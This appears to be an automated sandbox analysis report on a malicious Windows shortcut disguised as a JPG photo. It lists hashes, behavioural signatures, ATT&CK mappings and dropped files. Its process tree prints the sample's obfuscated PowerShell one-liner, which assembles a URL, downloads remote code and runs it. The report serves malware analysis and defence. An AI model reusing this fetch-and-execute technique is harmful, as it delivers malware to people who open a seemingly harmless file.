726b7382a45100ebd5bfb9f6bce7ed7c5b0de8e6026ec5df9e1d0fbe834c2989

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_084609.jpg.lnk
Size 1KB
Sample260729-jdv6layblf
SHA256 726b7382a45100ebd5bfb9f6bce7ed7c5b0de8e6026ec5df9e1d0fbe834c2989
MD5 715ffe51e0f57a0159e95b972c4c0adc
SHA1 c0ccbe4c96ca38e17e8f284954e8add0218d86eb
SHA512 ffd34117c888ebe45c5ce5c51abddaf462f934970ffff820815c398130181d15c7c58b1c9806ff534ffc7d04f2761b2d9c4e59ae9e80f1ad5b209c1410471659
TLSH
T1A831C2199BF20328D5B78B355876631186217B0EDA4CCFDF0290C1949865111F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4724	powershell.exe
9	4724	powershell.exe
11	4724	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3872	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3872 wrote to memory of 4724	3872	cmd.exe	90
PID 4724 wrote to memory of 252	4724	powershell.exe	91
PID 252 wrote to memory of 3368	252	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_084609.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('.sh','photoi','w','r','nstayn','op','ser','v','o','e')[3,9,6,7,1,4,8,2,0,5] -join $vo0IMFWX) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F84.tmp" "c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\CSC75D903FD83248FEB02025AB5E872FA7.TMP"
      4⤵
      PID:3368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES8F84.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8F84.tmp
Size 1KB
SHA256 d6692940c42c17eafc12a7a21cfdc40c92e4d44ebd2306df208d35570a7e6b2c
MD5 c27cb03ad8a2e5e8f162769c20a2c249
SHA1 782e5e2a45a2a84f464e156ad67e788217a4e4c0
SHA512 a0cadefdc3e7e6de4c0890281aecc785796c9724e23368a947b551f9a2f92461cef2e355391a46cbdfc2d1b3fd4ca591020d7c5c6410c6447cb4026e7a33c6ed
TLSH
T18621EF0593E9470EF0730731A9FA131FE278FD64DFA1575A844043282C51110EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

jyvrwh1p.dll

Path C:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.dll
Size 3KB
SHA256 2f19729fc070818d1c3fefb27a0a206aad6bf516fb08f5cee17cd950a3cb3542
MD5 65d5d1c10bd1952b6ae598c5addac94e
SHA1 b7ba11d195f22a4a7bb54855f140f55e64c22495
SHA512 b7e0f771afb20f4ffd58c4a0347895776d9b85802bdffa19413231ac3a8212628eb23c2b43de1179dffaa11d900c9a0c52d0d0238219e1a2122603ade7f28ddd
TLSH
T13F51BC1AA3E8466BE4670734AFF3075737B4FC149FB2576D59C00229AC607545E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC75D903FD83248FEB02025AB5E872FA7.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\CSC75D903FD83248FEB02025AB5E872FA7.TMP
Size 652B
SHA256 0b15f7b645d8ac75df0bb7a1d317d8cc24da456fd720dcab892a602e4b7dd7db
MD5 2dfc6042dfb07f240c8e7ab50923b3f1
SHA1 285523bb28983561a429ff03b24103e736d10d53
SHA512 ac86aaa74cde1e7796d1e619086300ae16c1e94a4c02143b8f14e136502e6fb6b8842317d82d80e08500b4aefc3873574ba6e85d53e1ff23d72394026f1de33d
TLSH
T1C2F05E0963F8020EF4F34B30BEF64367A1A8BC64DE3293ED2440031968645208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

jyvrwh1p.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

jyvrwh1p.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\jyvrwh1p\jyvrwh1p.cmdline
Size 369B
SHA256 121e288fb2516c1f6d26851cef7b90e4fff2b27621610e95ca2a829960427098
MD5 fcac45394a2997a93274f6110b5b52d5
SHA1 7b16a785041a8b646d54f873f966262b252968a8
SHA512 b278b708e6087d30b10b298b25727d45cfb644acd9a7a5547c76b800e22ee580687a9aebe63d17ef5cdaeeb73052f9e7a553f9a454b523a2f13ea4959bc50b65
TLSH
T17FE0D83A7257C6BD15DA11076169C5ECD2720B4739457F8851D0889DD01704467D1797
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4724-12-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-16-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-11-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-2-0x00007FFA6C02F000-0x00007FFA6C030000-memory.dmp

Download

memory/4724-13-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-14-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-15-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-10-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-9-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-8-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-7-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-6-0x00007FFA6BEA0000-0x00007FFA6C844000-memory.dmp

Download

memory/4724-5-0x000001FAFFE70000-0x000001FAFFE92000-memory.dmp

Download

memory/4724-30-0x000001FA81AC0000-0x000001FA81AC8000-memory.dmp

Download